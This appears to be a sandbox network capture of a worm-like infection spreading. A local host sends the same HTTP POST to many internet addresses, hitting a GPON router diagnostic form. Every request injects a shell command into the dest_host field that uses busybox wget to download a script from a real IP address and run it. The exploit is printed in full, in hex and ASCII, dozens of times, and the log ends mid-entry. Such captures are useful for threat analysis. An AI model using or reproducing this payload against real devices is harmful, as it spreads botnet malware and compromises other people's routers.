Mar 21, 2024 05:16:52.971659899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	50508	118.157.6.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971713066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	34524	94.90.214.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971752882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	45054	118.231.42.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971808910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	58694	210.100.79.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971837997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	49194	109.22.252.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971890926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	39410	118.187.146.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971936941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	47426	109.70.192.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971987009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	32988	178.12.162.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972016096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	54306	178.195.18.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972054005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	52440	178.73.48.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972107887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	57622	178.189.119.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972156048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	53890	94.66.216.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972189903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	46276	79.48.157.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972233057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	37692	37.153.196.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972265959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	45924	109.249.149.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972307920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	45410	118.58.245.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972336054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	57998	79.74.143.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972379923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	45546	109.234.76.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972407103 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	57808	42.143.12.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972455978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	44568	42.84.180.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972475052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	52344	178.165.17.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972521067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	52274	212.246.149.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972568989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	40178	212.161.158.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972615004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	51108	118.116.165.57	443

Timestamp	Bytes transferred	Direction	Data
